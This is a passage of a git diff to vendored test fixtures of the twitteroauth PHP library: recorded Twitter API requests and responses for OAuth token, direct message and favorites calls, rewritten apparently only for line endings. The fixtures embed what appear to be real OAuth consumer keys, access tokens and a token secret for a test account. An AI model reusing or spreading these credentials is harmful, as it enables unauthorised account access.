"response": { + "status": { + "http_version": "2", + "code": "401", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-encoding": "gzip", + "content-length": "93", + "content-security-policy": "default-src 'none'; connect-src 'self'; font-src https:\/\/abs.twimg.com https:\/\/abs-0.twimg.com data:; frame-src 'self' twitter:; img-src https:\/\/abs.twimg.com https:\/\/*.twimg.com https:\/\/pbs.twimg.com data:; media-src 'none'; object-src 'none'; script-src https:\/\/abs.twimg.com https:\/\/abs-0.twimg.com https:\/\/twitter.com https:\/\/mobile.twitter.com; style-src https:\/\/abs.twimg.com https:\/\/abs-0.twimg.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=NVQWGYLXFVWG6Z3JNY%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:31:11 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:31:11 GMT", + "ml": "A", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_n0ZAgT2oLIc0HI23qMIGCA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:11 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, guest_id=v1%3A158786107147893563; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:11 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "401 Unauthorized", + "strict-transport-security": "max-age=631138519", + "www-authenticate": "OAuth realm=\"https:\/\/api.twitter.com\"", + "x-connection-hash": "90157d4bdfce3a9b90fd408819c767bc", + "x-content-type-options": "nosniff", + "x-frame-options": "SAMEORIGIN", + "x-response-time": "41", + "x-transaction": "0080cead006a758d", + "x-twitter-response-tags": "BouncerCompliant", + "x-ua-compatible": "IE=edge,chrome=1", + "x-xss-protection": "0" + }, + "body": "Error processing your OAuth request: Invalid oauth_verifier parameter" + } }] \ No newline at end of file diff --git a/vendor/abraham/twitteroauth/tests/fixtures/testOauthRequestToken.json b/vendor/abraham/twitteroauth/tests/fixtures/testOauthRequestToken.json index e711f0559c..4796928515 100644 --- a/vendor/abraham/twitteroauth/tests/fixtures/testOauthRequestToken.json +++ b/vendor/abraham/twitteroauth/tests/fixtures/testOauthRequestToken.json @@ -1,44 +1,44 @@ -[{ - "request": { - "method": "POST", - "url": "https:\/\/api.twitter.com\/oauth\/request_token", - "headers": { - "Host": "api.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_callback=\"https%3A%2F%2Ftwitteroauth.com%2Fcallback.php\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"LR7ZVqY%2Fcdisw1w3zssKI6Yjbls%3D\"", - "Expect": null - } - }, - "response": { - "status": { - "http_version": "2", - "code": "200", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-encoding": "gzip", - "content-length": "127", - "content-security-policy": "default-src 'none'; connect-src 'self'; font-src https:\/\/abs.twimg.com https:\/\/abs-0.twimg.com data:; frame-src 'self' twitter:; img-src https:\/\/abs.twimg.com https:\/\/*.twimg.com https:\/\/pbs.twimg.com data:; media-src 'none'; object-src 'none'; script-src https:\/\/abs.twimg.com https:\/\/abs-0.twimg.com https:\/\/twitter.com https:\/\/mobile.twitter.com; style-src https:\/\/abs.twimg.com https:\/\/abs-0.twimg.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=NVQWGYLXFVWG6Z3JNY%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:31:10 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:31:10 GMT", - "ml": "A", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_mrnWVDThJvkLcAe4hmX0ng==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:10 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, guest_id=v1%3A158786107085601318; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:10 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "200 OK", - "strict-transport-security": "max-age=631138519", - "x-connection-hash": "bf00d267c647790cd34d8cd4a28f9895", - "x-content-type-options": "nosniff", - "x-frame-options": "SAMEORIGIN", - "x-response-time": "24", - "x-transaction": "0095391f006dd965", - "x-twitter-response-tags": "BouncerCompliant", - "x-ua-compatible": "IE=edge,chrome=1", - "x-xss-protection": "0" - }, - "body": "oauth_token=CE545gAAAAAAABtaAAABcbPlJBQ&oauth_token_secret=tTVYBva8AlQu0JxVudzbf9oHXAbIARg5&oauth_callback_confirmed=true" - } +[{ + "request": { + "method": "POST", + "url": "https:\/\/api.twitter.com\/oauth\/request_token", + "headers": { + "Host": "api.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_callback=\"https%3A%2F%2Ftwitteroauth.com%2Fcallback.php\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"LR7ZVqY%2Fcdisw1w3zssKI6Yjbls%3D\"", + "Expect": null + } + }, + "response": { + "status": { + "http_version": "2", + "code": "200", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-encoding": "gzip", + "content-length": "127", + "content-security-policy": "default-src 'none'; connect-src 'self'; font-src https:\/\/abs.twimg.com https:\/\/abs-0.twimg.com data:; frame-src 'self' twitter:; img-src https:\/\/abs.twimg.com https:\/\/*.twimg.com https:\/\/pbs.twimg.com data:; media-src 'none'; object-src 'none'; script-src https:\/\/abs.twimg.com https:\/\/abs-0.twimg.com https:\/\/twitter.com https:\/\/mobile.twitter.com; style-src https:\/\/abs.twimg.com https:\/\/abs-0.twimg.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=NVQWGYLXFVWG6Z3JNY%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:31:10 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:31:10 GMT", + "ml": "A", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_mrnWVDThJvkLcAe4hmX0ng==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:10 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, guest_id=v1%3A158786107085601318; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:10 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "200 OK", + "strict-transport-security": "max-age=631138519", + "x-connection-hash": "bf00d267c647790cd34d8cd4a28f9895", + "x-content-type-options": "nosniff", + "x-frame-options": "SAMEORIGIN", + "x-response-time": "24", + "x-transaction": "0095391f006dd965", + "x-twitter-response-tags": "BouncerCompliant", + "x-ua-compatible": "IE=edge,chrome=1", + "x-xss-protection": "0" + }, + "body": "oauth_token=CE545gAAAAAAABtaAAABcbPlJBQ&oauth_token_secret=tTVYBva8AlQu0JxVudzbf9oHXAbIARg5&oauth_callback_confirmed=true" + } }] \ No newline at end of file diff --git a/vendor/abraham/twitteroauth/tests/fixtures/testOauthRequestTokenException.json b/vendor/abraham/twitteroauth/tests/fixtures/testOauthRequestTokenException.json index 3b223b1d1d..1b91f18624 100644 --- a/vendor/abraham/twitteroauth/tests/fixtures/testOauthRequestTokenException.json +++ b/vendor/abraham/twitteroauth/tests/fixtures/testOauthRequestTokenException.json @@ -1,43 +1,43 @@ -[{ - "request": { - "method": "POST", - "url": "https:\/\/api.twitter.com\/oauth\/request_token", - "headers": { - "Host": "api.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"CONSUMER_KEY\", oauth_callback=\"https%3A%2F%2Ftwitteroauth.com%2Fcallback.php\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"wOUt6ZyVGpWnQhsHNWqcr%2BpOWAw%3D\"", - "Expect": null - } - }, - "response": { - "status": { - "http_version": "2", - "code": "401", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-disposition": "attachment; filename=json.json", - "content-encoding": "gzip", - "content-length": "89", - "content-type": "application\/json; charset=utf-8", - "date": "Sun, 26 Apr 2020 00:31:11 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:31:11 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_Vz8Os736+fzUwkQGIeIKuw==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:11 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, guest_id=v1%3A158786107116335546; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:11 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "401 Unauthorized", - "strict-transport-security": "max-age=631138519", - "www-authenticate": "OAuth realm=\"https:\/\/api.twitter.com\", api_error_code=32", - "x-connection-hash": "d620dbb5b35e124662532c3ef8e89c88", - "x-content-type-options": "nosniff", - "x-frame-options": "SAMEORIGIN", - "x-response-time": "6", - "x-transaction": "00bf1248004cdafa", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "0" - }, - "body": "{\"errors\":[{\"code\":32,\"message\":\"Could not authenticate you.\"}]}" - } +[{ + "request": { + "method": "POST", + "url": "https:\/\/api.twitter.com\/oauth\/request_token", + "headers": { + "Host": "api.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"CONSUMER_KEY\", oauth_callback=\"https%3A%2F%2Ftwitteroauth.com%2Fcallback.php\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"wOUt6ZyVGpWnQhsHNWqcr%2BpOWAw%3D\"", + "Expect": null + } + }, + "response": { + "status": { + "http_version": "2", + "code": "401", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-disposition": "attachment; filename=json.json", + "content-encoding": "gzip", + "content-length": "89", + "content-type": "application\/json; charset=utf-8", + "date": "Sun, 26 Apr 2020 00:31:11 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:31:11 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_Vz8Os736+fzUwkQGIeIKuw==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:11 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, guest_id=v1%3A158786107116335546; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:11 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "401 Unauthorized", + "strict-transport-security": "max-age=631138519", + "www-authenticate": "OAuth realm=\"https:\/\/api.twitter.com\", api_error_code=32", + "x-connection-hash": "d620dbb5b35e124662532c3ef8e89c88", + "x-content-type-options": "nosniff", + "x-frame-options": "SAMEORIGIN", + "x-response-time": "6", + "x-transaction": "00bf1248004cdafa", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "0" + }, + "body": "{\"errors\":[{\"code\":32,\"message\":\"Could not authenticate you.\"}]}" + } }] \ No newline at end of file diff --git a/vendor/abraham/twitteroauth/tests/fixtures/testPostDirectMessagesEventsNew.json b/vendor/abraham/twitteroauth/tests/fixtures/testPostDirectMessagesEventsNew.json index 793705c7fe..eb71ec8722 100644 --- a/vendor/abraham/twitteroauth/tests/fixtures/testPostDirectMessagesEventsNew.json +++ b/vendor/abraham/twitteroauth/tests/fixtures/testPostDirectMessagesEventsNew.json @@ -1,46 +1,46 @@ -[{ - "request": { - "method": "POST", - "url": "https:\/\/api.twitter.com\/1.1\/direct_messages\/events\/new.json", - "headers": { - "Host": "api.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"3457NqeumGmcalZLF091L9lt7F8%3D\"", - "Expect": null, - "Content-type": "application\/json" - }, - "body": "{\"event\":{\"type\":\"message_create\",\"message_create\":{\"target\":{\"recipient_id\":\"93915746\"},\"message_data\":{\"text\":\"Hello World!\"}}}}" - }, - "response": { - "status": { - "http_version": "2", - "code": "200", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-disposition": "attachment; filename=json.json", - "content-encoding": "gzip", - "content-length": "206", - "content-type": "application\/json;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:31:51 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:31:51 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_Tfqxs0gur2QR4FFIZ3Wq6w==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:51 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111185015666; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:51 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "200 OK", - "strict-transport-security": "max-age=631138519", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "bb4f30d1c6406b2cd5d25f20fccfdc1a", - "x-content-type-options": "nosniff", - "x-frame-options": "SAMEORIGIN", - "x-response-time": "70", - "x-transaction": "0057fa4c00fb95a1", - "x-tsa-request-body-time": "0", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "0" - }, - "body": "{\"event\":{\"type\":\"message_create\",\"id\":\"1254206523385032714\",\"created_timestamp\":\"1587861111862\",\"message_create\":{\"target\":{\"recipient_id\":\"93915746\"},\"sender_id\":\"93915746\",\"message_data\":{\"text\":\"Hello World!\",\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[]}}}}}" - } +[{ + "request": { + "method": "POST", + "url": "https:\/\/api.twitter.com\/1.1\/direct_messages\/events\/new.json", + "headers": { + "Host": "api.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"3457NqeumGmcalZLF091L9lt7F8%3D\"", + "Expect": null, + "Content-type": "application\/json" + }, + "body": "{\"event\":{\"type\":\"message_create\",\"message_create\":{\"target\":{\"recipient_id\":\"93915746\"},\"message_data\":{\"text\":\"Hello World!\"}}}}" + }, + "response": { + "status": { + "http_version": "2", + "code": "200", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-disposition": "attachment; filename=json.json", + "content-encoding": "gzip", + "content-length": "206", + "content-type": "application\/json;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:31:51 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:31:51 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_Tfqxs0gur2QR4FFIZ3Wq6w==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:51 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111185015666; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:51 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "200 OK", + "strict-transport-security": "max-age=631138519", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "bb4f30d1c6406b2cd5d25f20fccfdc1a", + "x-content-type-options": "nosniff", + "x-frame-options": "SAMEORIGIN", + "x-response-time": "70", + "x-transaction": "0057fa4c00fb95a1", + "x-tsa-request-body-time": "0", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "0" + }, + "body": "{\"event\":{\"type\":\"message_create\",\"id\":\"1254206523385032714\",\"created_timestamp\":\"1587861111862\",\"message_create\":{\"target\":{\"recipient_id\":\"93915746\"},\"sender_id\":\"93915746\",\"message_data\":{\"text\":\"Hello World!\",\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[]}}}}}" + } }] \ No newline at end of file diff --git a/vendor/abraham/twitteroauth/tests/fixtures/testPostFavoritesCreate.json b/vendor/abraham/twitteroauth/tests/fixtures/testPostFavoritesCreate.json index 7f889697b1..a303a6d6d3 100644 --- a/vendor/abraham/twitteroauth/tests/fixtures/testPostFavoritesCreate.json +++ b/vendor/abraham/twitteroauth/tests/fixtures/testPostFavoritesCreate.json @@ -1,45 +1,45 @@ -[{ - "request": { - "method": "POST", - "url": "https:\/\/api.twitter.com\/1.1\/favorites\/create.json", - "headers": { - "Host": "api.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"EA30eIQPgat0Aw%2F59GyltEiE4Xg%3D\"", - "Expect": null - }, - "body": "id=6242973112" - }, - "response": { - "status": { - "http_version": "2", - "code": "200", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-disposition": "attachment; filename=json.json", - "content-encoding": "gzip", - "content-length": "755", - "content-type": "application\/json;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:31:51 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:31:51 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_Jz87HIDSEIpDevFMBlDD7g==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:51 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111115490266; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:51 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "200 OK", - "strict-transport-security": "max-age=631138519", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "7368af4d238e5c36df5379afb1bed3af", - "x-content-type-options": "nosniff", - "x-frame-options": "SAMEORIGIN", - "x-response-time": "72", - "x-transaction": "0012beac0086638b", - "x-tsa-request-body-time": "0", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "0" - }, - "body": "{\"created_at\":\"Tue Dec 01 18:38:07 +0000 2009\",\"id\":6242973112,\"id_str\":\"6242973112\",\"text\":\"Test!\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":93915746,\"id_str\":\"93915746\",\"name\":\"OAuth Library Test\",\"screen_name\":\"oauthlibtest\",\"location\":\"\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":58,\"friends_count\":2,\"listed_count\":6,\"created_at\":\"Tue Dec 01 18:37:44 +0000 2009\",\"favourites_count\":1,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":5,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":true,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":2258,\"favorite_count\":76,\"favorited\":true,\"retweeted\":false,\"lang\":\"en\"}" - } +[{ + "request": { + "method": "POST", + "url": "https:\/\/api.twitter.com\/1.1\/favorites\/create.json", + "headers": { + "Host": "api.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"EA30eIQPgat0Aw%2F59GyltEiE4Xg%3D\"", + "Expect": null + }, + "body": "id=6242973112" + }, + "response": { + "status": { + "http_version": "2", + "code": "200", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-disposition": "attachment; filename=json.json", + "content-encoding": "gzip", + "content-length": "755", + "content-type": "application\/json;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:31:51 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:31:51 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_Jz87HIDSEIpDevFMBlDD7g==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:51 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111115490266; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:51 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "200 OK", + "strict-transport-security": "max-age=631138519", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "7368af4d238e5c36df5379afb1bed3af", + "x-content-type-options": "nosniff", + "x-frame-options": "SAMEORIGIN", + "x-response-time": "72", + "x-transaction": "0012beac0086638b", + "x-tsa-request-body-time": "0", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "0" + }, + "body": "{\"created_at\":\"Tue Dec 01 18:38:07 +0000 2009\",\"id\":6242973112,\"id_str\":\"6242973112\",\"text\":\"Test!\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":93915746,\"id_str\":\"93915746\",\"name\":\"OAuth Library Test\",\"screen_name\":\"oauthlibtest\",\"location\":\"\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":58,\"friends_count\":2,\"listed_count\":6,\"created_at\":\"Tue Dec 01 18:37:44 +0000 2009\",\"favourites_count\":1,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":5,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/sticky\\\/default_profile_images\\\/default_profile_normal.png\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":true,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":2258,\"favorite_count\":76,\"favorited\":true,\"retweeted\":false,\"lang\":\"en\"}" + } }] \ No newline at end of file diff --git a/vendor/abraham/twitteroauth/tests/fixtures/testPostFavoritesDestroy.json b/vendor/abraham/twitteroauth/tests/fixtures/testPostFavoritesDestroy.json index 5133ae2026..0d0c8785c3 100644 --- a/vendor/abraham/twitteroauth/tests/fixtures/testPostFavoritesDestroy.json +++ b/vendor/abraham/twitteroauth/tests/fixtures/testPostFavoritesDestroy.json @@ -1,45 +1,45 @@ -[{ - "request": { - "method": "POST", - "url": "https:\/\/api.twitter.com\/1.1\/favorites\/destroy.json", - "headers": { - "Host": "api.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"w3Nti04O5BMi8bySXjmO8%2BW5Pus%3D\"", - "Expect": null - }, - "body": "id=6242973112" - }, - "response": { - "status": { - "http_version": "2", - "code": "200", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-disposition": "attachment; filename=json.json", - "content-encoding": "gzip", - "content-length": "753", - "content-type": "application\/json;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:31:51 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:31:51 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_s1J1pMUNrQO4\/v371oE9AQ==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:51 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111151392082; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:51 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "200 OK", - "strict-transport-security": "max-age=631138519", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "a0dc865f09447e41b0d77e9eed981519", - "x-content-type-options": "nosniff", - "x-frame-options": "SAMEORIGIN", - "x-response-time": "44", - "x-transaction": "005d9083009bd4c9", - "x-tsa-request-body-time": "0", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "0" - }, - "body": "{\"created_at\":\"Tue Dec 01 18:38:07 +0000 2009\",\"id\":6242973112,\"id_str\":\"6242973112\",\"text\":\"Test!\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[]},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":93915746,\"id_str\":\"93915746\",\"name\":\"OAuth Library Test\",\"screen_name\":\"oauthlibtest\",\"location\":\"\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":58,\"friends_count\":2,\"listed_count\":6,\"created_at\":\"Tue Dec 01 18:37:44 +0000 